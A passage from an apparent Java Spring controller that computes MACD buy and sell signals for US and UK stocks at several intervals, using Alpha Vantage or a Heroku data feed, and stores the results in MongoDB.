* System.out.println("date: " + macdData.get(i).getDateTime());
* System.out.println("MACD Histogram: " + macdData.get(i).getHist());
* System.out.println("MACD Signal: " + macdData.get(i).getSignal());
* System.out.println("MACD: " + macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1) + Math.abs(macdData.get(i).getSignal())) / counter;
// TODO experimental: the difference is set to 10 here and counter>15 since its
// hourly
if (counter > 5 && counter - sell_counter >= 5 && i < size - 1 && macdData.get(i + 1).getHist() > 0
&& macdData.get(i).getHist() < 0 && macdData.get(i).getSignal() > 0
&& macdData.get(i).getMacd() > 0 && Math.abs(macdData.get(i).getSignal()) > signal_average) {
// TODO: experimental: signal average*1.5 not maintained for hourly
sell_counter = counter;
sell_opportunity = macdData.get(i).getDateTime();
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && macdData.get(i + 1).getHist() < 0 && macdData.get(i).getHist() > 0
&& macdData.get(i).getSignal() < 0 && macdData.get(i).getMacd() < 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average) {
buy_opportunity = macdData.get(i).getDateTime();
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
}
} catch (AlphaVantageException e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
us_hourlysells hourlySell = new us_hourlysells();
hourlySell.setMonth(new java.util.Date().getMonth());
hourlySell.setYear(new java.util.Date().getYear());
hourlySell.setCompany(company);
hourlySell.setIndicator("LIVE");
hourlySell.setConfidence_level(confidence_level);
hourlySell.setLastSellEvent(sell_opportunity);
hourlySell.setLastSellPrice(0.0);
hourlySell.setLastEvent(last_opportunity);
hourlySell.setLastEventSell(isLastEventSell);
hourlySell.setLastEventPrice(0.0);
// TO DO price need to be populated
us_hourlysells saveresult = hourlySellRepository.insert(hourlySell);
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/_30Min/SELL/USEq/{company}", method = RequestMethod.GET)
public boolean findMACD30MinSELLSignals(@PathVariable String company) {
boolean execution_result = false;
String apiKey = "<KEY>";
int timeout = 3000;
int size = 0;
double signal_average = 0.0;
java.time.LocalDateTime buy_opportunity = null;
java.time.LocalDateTime sell_opportunity = null;
java.time.LocalDateTime last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
AlphaVantageConnector apiConnector = new AlphaVantageConnector(apiKey, timeout);
TechnicalIndicators technicalIndicators = new TechnicalIndicators(apiConnector);
try {
System.out.println("30MIN SIGNALS:");
// TODO Timeperiod is noise controller
MACD response = technicalIndicators.macd(company, Interval.THIRTY_MIN, TimePeriod.of(10), SeriesType.CLOSE,
null, null, null);
Map<String, String> metaData = response.getMetaData();
System.out.println("Symbol: " + metaData.get("1: Symbol"));
System.out.println("Indicator: " + metaData.get("2: Indicator"));
List<MACDData> macdData = response.getData();
size = macdData.size();
for (int i = size - 1, counter = 1; i >= 0; i--, counter++) {
/*
* System.out.println("date: " + macdData.get(i).getDateTime());
* System.out.println("MACD Histogram: " + macdData.get(i).getHist());
* System.out.println("MACD Signal: " + macdData.get(i).getSignal());
* System.out.println("MACD: " + macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1) + Math.abs(macdData.get(i).getSignal())) / counter;
// TODO experimental: the difference is set to 2 here and counter>5 since its
// monthly
if (counter > 5 && counter - sell_counter >= 5 && i < size - 1 && macdData.get(i + 1).getHist() > 0
&& macdData.get(i).getHist() < 0 && macdData.get(i).getSignal() > 0
&& macdData.get(i).getMacd() > 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average * 1) {
// TODO: experimental: signal average*1.5 maintained not here
sell_counter = counter;
sell_opportunity = macdData.get(i).getDateTime();
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && macdData.get(i + 1).getHist() < 0 && macdData.get(i).getHist() > 0
&& macdData.get(i).getSignal() < 0 && macdData.get(i).getMacd() < 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average) {
buy_opportunity = macdData.get(i).getDateTime();
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
}
} catch (AlphaVantageException e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
us_30minsells __30MinSell = new us_30minsells();
__30MinSell.setMonth(new java.util.Date().getMonth());
__30MinSell.setYear(new java.util.Date().getYear());
__30MinSell.setCompany(company);
__30MinSell.setIndicator("LIVE");
__30MinSell.setConfidence_level(confidence_level);
__30MinSell.setLastSellEvent(sell_opportunity);
__30MinSell.setLastSellPrice(0.0);
__30MinSell.setLastEvent(last_opportunity);
__30MinSell.setLastEventSell(isLastEventSell);
__30MinSell.setLastEventPrice(0.0);
// TO DO price need to be populated
us_30minsells saveresult = __30MinSellRepository.insert(__30MinSell);
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/_15Min/SELL/USEq/{company}", method = RequestMethod.GET)
public boolean findMACD15MinSELLSignals(@PathVariable String company) {
boolean execution_result = false;
String apiKey = "<KEY>";
int timeout = 3000;
int size = 0;
double signal_average = 0.0;
java.time.LocalDateTime buy_opportunity = null;
java.time.LocalDateTime sell_opportunity = null;
java.time.LocalDateTime last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
AlphaVantageConnector apiConnector = new AlphaVantageConnector(apiKey, timeout);
TechnicalIndicators technicalIndicators = new TechnicalIndicators(apiConnector);
try {
System.out.println("15MIN SIGNALS:");
// TODO Timeperiod is noise controller
MACD response = technicalIndicators.macd(company, Interval.FIFTEEN_MIN, TimePeriod.of(10), SeriesType.CLOSE,
null, null, null);
Map<String, String> metaData = response.getMetaData();
System.out.println("Symbol: " + metaData.get("1: Symbol"));
System.out.println("Indicator: " + metaData.get("2: Indicator"));
List<MACDData> macdData = response.getData();
size = macdData.size();
for (int i = size - 1, counter = 1; i >= 0; i--, counter++) {
/*
* System.out.println("date: " + macdData.get(i).getDateTime());
* System.out.println("MACD Histogram: " + macdData.get(i).getHist());
* System.out.println("MACD Signal: " + macdData.get(i).getSignal());
* System.out.println("MACD: " + macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1) + Math.abs(macdData.get(i).getSignal())) / counter;
// TODO experimental: the difference is set to 2 here and counter>5 since its
// monthly
if (counter > 5 && counter - sell_counter >= 5 && i < size - 1 && macdData.get(i + 1).getHist() > 0
&& macdData.get(i).getHist() < 0 && macdData.get(i).getSignal() > 0
&& macdData.get(i).getMacd() > 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average * 1) {
// TODO: experimental: signal average*1.5 maintained not here
sell_counter = counter;
sell_opportunity = macdData.get(i).getDateTime();
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && macdData.get(i + 1).getHist() < 0 && macdData.get(i).getHist() > 0
&& macdData.get(i).getSignal() < 0 && macdData.get(i).getMacd() < 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average) {
buy_opportunity = macdData.get(i).getDateTime();
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
}
} catch (AlphaVantageException e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
us_15minsells __15MinSell = new us_15minsells();
__15MinSell.setMonth(new java.util.Date().getMonth());
__15MinSell.setYear(new java.util.Date().getYear());
__15MinSell.setCompany(company);
__15MinSell.setIndicator("LIVE");
__15MinSell.setConfidence_level(confidence_level);
__15MinSell.setLastSellEvent(sell_opportunity);
__15MinSell.setLastSellPrice(0.0);
__15MinSell.setLastEvent(last_opportunity);
__15MinSell.setLastEventSell(isLastEventSell);
__15MinSell.setLastEventPrice(0.0);
// TO DO price need to be populated
us_15minsells saveresult = __15MinSellRepository.insert(__15MinSell);
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/_5Min/SELL/USEq/{company}", method = RequestMethod.GET)
public boolean findMACD5MinSELLSignals(@PathVariable String company) {
boolean execution_result = false;
String apiKey = "<KEY>";
int timeout = 3000;
int size = 0;
double signal_average = 0.0;
java.time.LocalDateTime buy_opportunity = null;
java.time.LocalDateTime sell_opportunity = null;
java.time.LocalDateTime last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
AlphaVantageConnector apiConnector = new AlphaVantageConnector(apiKey, timeout);
TechnicalIndicators technicalIndicators = new TechnicalIndicators(apiConnector);
try {
System.out.println("5MIN SIGNALS:");
// TODO Timeperiod is noise controller
MACD response = technicalIndicators.macd(company, Interval.FIVE_MIN, TimePeriod.of(10), SeriesType.CLOSE,
null, null, null);
Map<String, String> metaData = response.getMetaData();
System.out.println("Symbol: " + metaData.get("1: Symbol"));
System.out.println("Indicator: " + metaData.get("2: Indicator"));
List<MACDData> macdData = response.getData();
size = macdData.size();
for (int i = size - 1, counter = 1; i >= 0; i--, counter++) {
/*
* System.out.println("date: " + macdData.get(i).getDateTime());
* System.out.println("MACD Histogram: " + macdData.get(i).getHist());
* System.out.println("MACD Signal: " + macdData.get(i).getSignal());
* System.out.println("MACD: " + macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1) + Math.abs(macdData.get(i).getSignal())) / counter;
// TODO experimental: the difference is set to 2 here and counter>5 since its
// monthly
if (counter > 5 && counter - sell_counter >= 5 && i < size - 1 && macdData.get(i + 1).getHist() > 0
&& macdData.get(i).getHist() < 0 && macdData.get(i).getSignal() > 0
&& macdData.get(i).getMacd() > 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average * 1) {
// TODO: experimental: signal average*1.5 maintained not here
sell_counter = counter;
sell_opportunity = macdData.get(i).getDateTime();
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && macdData.get(i + 1).getHist() < 0 && macdData.get(i).getHist() > 0
&& macdData.get(i).getSignal() < 0 && macdData.get(i).getMacd() < 0
&& Math.abs(macdData.get(i).getSignal()) > signal_average) {
buy_opportunity = macdData.get(i).getDateTime();
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
}
} catch (AlphaVantageException e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
us_5minsells __5MinSell = new us_5minsells();
__5MinSell.setMonth(new java.util.Date().getMonth());
__5MinSell.setYear(new java.util.Date().getYear());
__5MinSell.setCompany(company);
__5MinSell.setIndicator("LIVE");
__5MinSell.setConfidence_level(confidence_level);
__5MinSell.setLastSellEvent(sell_opportunity);
__5MinSell.setLastSellPrice(0.0);
__5MinSell.setLastEvent(last_opportunity);
__5MinSell.setLastEventSell(isLastEventSell);
__5MinSell.setLastEventPrice(0.0);
// TO DO price need to be populated
us_5minsells saveresult = __5MinSellRepository.insert(__5MinSell);
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/_5Min/SELL/UKEq/{company}", method = RequestMethod.GET)
public boolean findMACD5MinsSELLSignals_UK(@PathVariable String company) {
boolean execution_result = false;
int timeout = 3000;
int size = 0;
System.out.println(company);
double signal_average = 0.0;
// java.time.LocalDateTime buy_opportunity = null;
// java.time.LocalDateTime sell_opportunity = null;
// java.time.LocalDateTime last_opportunity = null;
String buy_opportunity = null;
String sell_opportunity = null;
String last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
double sell_price = 0.00;
double current_hist = 0.00;
double current_price = 0.00;
String current_time = null;
String feedURLFull = "https://markettechnicals-api.herokuapp.com/uk_lse_5mins/macd/read/" + company;
HttpGet request = null;
String url = feedURLFull;
String content = null;
JSONArray criteriaObject = null;
try {
HttpClient client = HttpClientBuilder.create().build();
request = new HttpGet(url);
request.addHeader("User-Agent", "Apache HTTPClient");
HttpResponse response = null;
try {
response = client.execute(request);
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
HttpEntity entity = response.getEntity();
try {
content = EntityUtils.toString(entity);
} catch (ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(content);
JSONParser parser = new JSONParser();
org.json.simple.JSONObject jsonresult = null;
try {
jsonresult = (org.json.simple.JSONObject) parser.parse(content);
} catch (org.json.simple.parser.ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
criteriaObject = (JSONArray) jsonresult.get("macdjson");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(criteriaObject.get(0));
// System.out.println(criteriaObject.get(1));
} finally {
if (request != null) {
request.releaseConnection();
}
}
try {
// System.out.println("MONTHLY SIGNALS:");
List macdData = criteriaObject;
size = macdData.size();
for (int i = size - 2, counter = 1; i >= 0; i--, counter++) {
// for (int i = 0, counter = 1; i <= size - 1; i++, counter++) {
// System.out.println(macdData.get(i));
String loopobj = macdData.get(i).toString();
String loopnextobj = macdData.get(i + 1).toString();
JSONParser loopparser = new JSONParser();
JSONParser loopnextparser = new JSONParser();
org.json.simple.JSONObject jsonloopresult = (org.json.simple.JSONObject) loopparser
.parse(macdData.get(i).toString());
org.json.simple.JSONObject jsonloopnextresult = (org.json.simple.JSONObject) loopnextparser
.parse(macdData.get(i + 1).toString());
String key = null;
String keynext = null;
for (Iterator iterator = jsonloopresult.keySet().iterator(); iterator.hasNext();) {
key = (String) iterator.next();
}
for (Iterator iteratornext = jsonloopnextresult.keySet().iterator(); iteratornext.hasNext();) {
keynext = (String) iteratornext.next();
}
JSONObject criterialoopObject = (JSONObject) jsonloopresult.get(key);
// System.out.println(key);
// System.out.println(criterialoopObject.get("MACD_Signal"));
// System.out.println(criterialoopObject.get("MACD_Hist"));
// System.out.println(criterialoopObject.get("Price"));
// System.out.println(criterialoopObject.get("MACD"));
JSONObject criterialoopnextObject = (JSONObject) jsonloopnextresult.get(keynext);
// System.out.println(keynext);
// System.out.println(criterialoopnextObject.get("MACD_Signal"));
// System.out.println(criterialoopnextObject.get("MACD_Hist"));
// System.out.println(criterialoopnextObject.get("Price"));
// System.out.println(criterialoopnextObject.get("MACD"));
/*
* already commented System.out.println("date: " +
* macdData.get(i).getDateTime()); System.out.println("MACD Histogram: " +
* macdData.get(i).getHist()); System.out.println("MACD Signal: " +
* macdData.get(i).getSignal()); System.out.println("MACD: " +
* macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1)
+ Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()))) / counter;
if (counter > 5 && counter - sell_counter >= 2 && i < size - 1
&& Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) > 0
&& Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average
* 1.5) {
sell_counter = counter;
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
sell_price = Float.parseFloat(criterialoopObject.get("Price").toString());
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) < 0 && Math.abs(
Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average) {
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
buy_opportunity = sell_opportunity;
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
if (i == 0) {
current_hist = Float.parseFloat(criterialoopObject.get("MACD_Hist").toString());
current_price = Float.parseFloat(criterialoopObject.get("Price").toString());
current_time = key;
}
}
} catch (Exception e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
uk_lse_5minsells UK_LSE_5MinSell = new uk_lse_5minsells();
UK_LSE_5MinSell.setMonth(new java.util.Date().getMonth());
UK_LSE_5MinSell.setYear(new java.util.Date().getYear());
UK_LSE_5MinSell.setCompany(company);
UK_LSE_5MinSell.setIndicator("LIVE");
UK_LSE_5MinSell.setConfidence_level(confidence_level);
UK_LSE_5MinSell.setLastSellEvent(sell_opportunity);
UK_LSE_5MinSell.setLastSellPrice(sell_price);
UK_LSE_5MinSell.setLastEvent(last_opportunity);
UK_LSE_5MinSell.setLastEventSell(isLastEventSell);
UK_LSE_5MinSell.setLastEventPrice(0.0);
UK_LSE_5MinSell.setLasttradedprice(sell_price);
// this block is to avoid duplicate signals to get inserted
List<uk_lse_5minsells> queryresult_querytostopduplicate = new ArrayList<>();
MongoClient mongoClient = MongoClients.create(
"mongodb+srv://marketwinks:<EMAIL>o<EMAIL>.<EMAIL>/marketwinksdbprod?retryWrites=true");
MongoTemplate mongoTemplate = new MongoTemplate(mongoClient, "marketwinksdbprod");
try {
Query querytostopduplicate = new Query();
querytostopduplicate.addCriteria(Criteria.where("company").is(company));
querytostopduplicate.addCriteria(Criteria.where("lastSellEvent").is(sell_opportunity));
queryresult_querytostopduplicate = mongoTemplate.find(querytostopduplicate, uk_lse_5minsells.class);
Query querytomarkexpired = new Query();
querytomarkexpired.addCriteria(Criteria.where("company").is(company));
querytomarkexpired.addCriteria(Criteria.where("indicator").is("LIVE"));
Update updatetomarkexpired = new Update();
updatetomarkexpired.set("indicator", "EXPIRED");
updatetomarkexpired.set("expirytime", current_time);
updatetomarkexpired.set("expiryprice", current_price);
if (current_hist < 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_5minbuys.class);
} else if (current_hist > 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_5minsells.class);
}
// FOR LTP UPDATE
Query querytoupdateLTP = new Query();
querytoupdateLTP.addCriteria(Criteria.where("company").is(company));
Update updatetoupdateLTP = new Update();
updatetoupdateLTP.set("lasttradedprice", current_price);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_5minbuys.class);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_5minsells.class);
} catch (Exception e) {
System.out.println(e);
} finally {
mongoClient.close();
}
if (queryresult_querytostopduplicate.size() == 0 && UK_LSE_5MinSell.isLastEventSell() == true) {
uk_lse_5minsells saveresult = UK_LSE__5MinSellRepository.insert(UK_LSE_5MinSell);
}
// TO DO price need to be populated
execution_result = true;
return execution_result;
}
@RequestMapping(value = "/findMarketSignals/MACD/_15Min/SELL/UKEq/{company}", method = RequestMethod.GET)
public boolean findMACD15MinsSELLSignals_UK(@PathVariable String company) {
boolean execution_result = false;
int timeout = 3000;
int size = 0;
System.out.println(company);
double signal_average = 0.0;
// java.time.LocalDateTime buy_opportunity = null;
// java.time.LocalDateTime sell_opportunity = null;
// java.time.LocalDateTime last_opportunity = null;
String buy_opportunity = null;
String sell_opportunity = null;
String last_opportunity = null;
// TODO experimenatal: to reduce repeated buy signals
int sell_counter = 0;
int no_of_sells = 0;
int signal_lapse = 0;
double confidence_level = 0.0;
boolean isLastEventSell = false;
List<String> event = new ArrayList<>();
double sell_price = 0.00;
double current_hist = 0.00;
double current_price = 0.00;
String current_time = null;
String feedURLFull = "https://markettechnicals-api.herokuapp.com/uk_lse_15mins/macd/read/" + company;
HttpGet request = null;
String url = feedURLFull;
String content = null;
JSONArray criteriaObject = null;
try {
HttpClient client = HttpClientBuilder.create().build();
request = new HttpGet(url);
request.addHeader("User-Agent", "Apache HTTPClient");
HttpResponse response = null;
try {
response = client.execute(request);
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
HttpEntity entity = response.getEntity();
try {
content = EntityUtils.toString(entity);
} catch (ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(content);
JSONParser parser = new JSONParser();
org.json.simple.JSONObject jsonresult = null;
try {
jsonresult = (org.json.simple.JSONObject) parser.parse(content);
} catch (org.json.simple.parser.ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
try {
criteriaObject = (JSONArray) jsonresult.get("macdjson");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// System.out.println(criteriaObject.get(0));
// System.out.println(criteriaObject.get(1));
} finally {
if (request != null) {
request.releaseConnection();
}
}
try {
// System.out.println("MONTHLY SIGNALS:");
List macdData = criteriaObject;
size = macdData.size();
for (int i = size - 2, counter = 1; i >= 0; i--, counter++) {
// for (int i = 0, counter = 1; i <= size - 1; i++, counter++) {
// System.out.println(macdData.get(i));
String loopobj = macdData.get(i).toString();
String loopnextobj = macdData.get(i + 1).toString();
JSONParser loopparser = new JSONParser();
JSONParser loopnextparser = new JSONParser();
org.json.simple.JSONObject jsonloopresult = (org.json.simple.JSONObject) loopparser
.parse(macdData.get(i).toString());
org.json.simple.JSONObject jsonloopnextresult = (org.json.simple.JSONObject) loopnextparser
.parse(macdData.get(i + 1).toString());
String key = null;
String keynext = null;
for (Iterator iterator = jsonloopresult.keySet().iterator(); iterator.hasNext();) {
key = (String) iterator.next();
}
for (Iterator iteratornext = jsonloopnextresult.keySet().iterator(); iteratornext.hasNext();) {
keynext = (String) iteratornext.next();
}
JSONObject criterialoopObject = (JSONObject) jsonloopresult.get(key);
// System.out.println(key);
// System.out.println(criterialoopObject.get("MACD_Signal"));
// System.out.println(criterialoopObject.get("MACD_Hist"));
// System.out.println(criterialoopObject.get("Price"));
// System.out.println(criterialoopObject.get("MACD"));
JSONObject criterialoopnextObject = (JSONObject) jsonloopnextresult.get(keynext);
// System.out.println(keynext);
// System.out.println(criterialoopnextObject.get("MACD_Signal"));
// System.out.println(criterialoopnextObject.get("MACD_Hist"));
// System.out.println(criterialoopnextObject.get("Price"));
// System.out.println(criterialoopnextObject.get("MACD"));
/*
* already commented System.out.println("date: " +
* macdData.get(i).getDateTime()); System.out.println("MACD Histogram: " +
* macdData.get(i).getHist()); System.out.println("MACD Signal: " +
* macdData.get(i).getSignal()); System.out.println("MACD: " +
* macdData.get(i).getMacd());
*
*/
signal_average = (signal_average * (counter - 1)
+ Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()))) / counter;
if (counter > 5 && counter - sell_counter >= 2 && i < size - 1
&& Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) > 0
&& Math.abs(Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average
* 1.5) {
sell_counter = counter;
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
sell_price = Float.parseFloat(criterialoopObject.get("Price").toString());
System.out.println("SELL OPPORTUNITY happened on:" + sell_opportunity);
event.add("SELL");
isLastEventSell = true;
last_opportunity = sell_opportunity;
no_of_sells++;
}
if (i < size - 1 && Float.parseFloat(criterialoopnextObject.get("MACD_Hist").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD_Hist").toString()) > 0
&& Float.parseFloat(criterialoopObject.get("MACD_Signal").toString()) < 0
&& Float.parseFloat(criterialoopObject.get("MACD").toString()) < 0 && Math.abs(
Float.parseFloat(criterialoopObject.get("MACD_Signal").toString())) > signal_average) {
//
// String str = key;
//
// DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd
// HH:mm");
// LocalDateTime dateTime = LocalDateTime.parse(str, formatter);
sell_opportunity = key;
buy_opportunity = sell_opportunity;
System.out.println("BUY OPPORTUNITY happened on:" + buy_opportunity);
event.add("BUY");
isLastEventSell = false;
last_opportunity = buy_opportunity;
}
if (i == 0) {
current_hist = Float.parseFloat(criterialoopObject.get("MACD_Hist").toString());
current_price = Float.parseFloat(criterialoopObject.get("Price").toString());
current_time = key;
}
}
} catch (Exception e) {
System.out.println("something went wrong");
return execution_result;
}
for (int i = 0; i < event.size() - 1; i++) {
if (event.get(i).equals("SELL") && event.get(i + 1).equals("SELL")) {
signal_lapse++;
}
}
if (no_of_sells != 0) {
confidence_level = (no_of_sells - signal_lapse) * 100 / no_of_sells;
}
System.out.println("Confidence level:" + confidence_level);
uk_lse_15minsells UK_LSE_15MinSell = new uk_lse_15minsells();
UK_LSE_15MinSell.setMonth(new java.util.Date().getMonth());
UK_LSE_15MinSell.setYear(new java.util.Date().getYear());
UK_LSE_15MinSell.setCompany(company);
UK_LSE_15MinSell.setIndicator("LIVE");
UK_LSE_15MinSell.setConfidence_level(confidence_level);
UK_LSE_15MinSell.setLastSellEvent(sell_opportunity);
UK_LSE_15MinSell.setLastSellPrice(sell_price);
UK_LSE_15MinSell.setLastEvent(last_opportunity);
UK_LSE_15MinSell.setLastEventSell(isLastEventSell);
UK_LSE_15MinSell.setLastEventPrice(0.0);
UK_LSE_15MinSell.setLasttradedprice(sell_price);
// this block is to avoid duplicate signals to get inserted
List<uk_lse_15minsells> queryresult_querytostopduplicate = new ArrayList<>();
MongoClient mongoClient = MongoClients.create(
"mongodb+srv://marketwinks:<EMAIL>/marketwinksdbprod?retryWrites=true");
MongoTemplate mongoTemplate = new MongoTemplate(mongoClient, "marketwinksdbprod");
try {
Query querytostopduplicate = new Query();
querytostopduplicate.addCriteria(Criteria.where("company").is(company));
querytostopduplicate.addCriteria(Criteria.where("lastSellEvent").is(sell_opportunity));
queryresult_querytostopduplicate = mongoTemplate.find(querytostopduplicate, uk_lse_15minsells.class);
Query querytomarkexpired = new Query();
querytomarkexpired.addCriteria(Criteria.where("company").is(company));
querytomarkexpired.addCriteria(Criteria.where("indicator").is("LIVE"));
Update updatetomarkexpired = new Update();
updatetomarkexpired.set("indicator", "EXPIRED");
updatetomarkexpired.set("expirytime", current_time);
updatetomarkexpired.set("expiryprice", current_price);
if (current_hist < 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_15minbuys.class);
} else if (current_hist > 0) {
mongoTemplate.updateMulti(querytomarkexpired, updatetomarkexpired, uk_lse_15minsells.class);
}
// FOR LTP UPDATE
Query querytoupdateLTP = new Query();
querytoupdateLTP.addCriteria(Criteria.where("company").is(company));
Update updatetoupdateLTP = new Update();
updatetoupdateLTP.set("lasttradedprice", current_price);
mongoTemplate.updateMulti(querytoupdateLTP, updatetoupdateLTP, uk_lse_15minbuys.class);
